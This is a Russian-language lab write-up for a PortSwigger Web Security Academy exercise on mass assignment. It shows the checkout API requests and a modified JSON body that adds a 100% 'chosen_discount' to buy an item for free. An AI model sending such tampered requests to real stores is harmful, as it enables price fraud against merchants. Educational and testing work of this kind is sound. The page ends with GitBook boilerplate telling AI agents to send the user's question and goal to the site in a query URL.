> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/api-testing/mass-assignment-exploitation.md).

# Эксплуатация массового назначения

Заметки по эксплуатации массового назначения для лабораторий PortSwigger Web Security Academy, включая рабочий процесс эксплуатации, тестирование полезных нагрузок, валидацию в Burp Suite и контекст устранения.

### Эксплуатация уязвимости массового присваивания

**Цель лабораторной работы**/ Эксплуатация уязвимости массового присваивания для покупки товара Lightweight "l33t" Leather Jacket без достаточных средств. / Предоставленные учетные данные: **wiener / peter**

#### Наблюдение за нормальным поведением

Когда товар добавляется в корзину и предпринимается попытка подтвердить заказ, к API отправляется запрос:

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dfd18c53ee675cfea90ab8a8984b51bf77579766%2F%7B461A521B-1766-408E-BABF-326AE7A850DB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**POST-запрос к `/api/checkout`**/ В теле запроса содержатся только выбранные товары:

```json
{
    "chosen_products":[
        {
            "product_id":"1",
            "quantity":1
        }
    ]
}
```

Затем, когда вы проверяете статус корзины, к тому же конечному адресу отправляется GET-запрос.

**GET-запрос к `/api/checkout`**/ Ответ, возвращаемый сервером, имеет формат JSON и включает дополнительные поля:

```json
{
   "chosen_discount":{
      "percentage":0
   },
   "chosen_products":[
      {
         "product_id":"1",
         "name":"Лёгкая /"l33t/" кожаная куртка",
         "quantity":1,
         "item_price":133700
      }
   ]
}
```

Эта `chosen_discount.percentage` поле, которое не контролируется со стороны клиента во время начальной отправки, можно увидеть.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-edb9fa2083c73d704aa27a9ff9a905314dcef9ce%2F%7B533750F6-1B97-426E-A399-052AA87E765E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Эксплуатация уязвимости

При перехвате **POST `/api/checkout`** запроса можно вручную добавить `chosen_discount` поле в тело запроса.

**Измененный запрос**:

```json
{
   "chosen_discount":{
      "percentage":100
   },
   "chosen_products":[
      {
         "product_id":"1",
         "quantity":1
      }
   ]
}
```

Это изменение принимается сервером при возврате запроса.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0b346d0b17d21347d9b803674c9a6ca9bfe7e26f%2F%7B16B716CC-CE6A-448B-BAC3-1692CEC0ED9E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Результат

Сервер применяет скидку в **100%** к товару, что позволяет завершить покупку бесплатно. / Команда успешно подтверждается, что видно по перенаправлению на:

```bash
/cart/order-confirmation?order-confirmed=true
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aff9bb23e4146b6db78204e898f9eb4b91c89e52%2F%7B53BF3710-3F4B-481A-B7DA-118862B95AE2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Заключение

Эта уязвимость основана на **массовом присваивании**, при котором API принимает и обрабатывает чувствительные поля, предоставленные клиентом, без надлежащей проверки. Подставив незапланированный параметр (`chosen_discount`), можно изменить бизнес-логику и обойти контроль цен.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/api-testing/mass-assignment-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
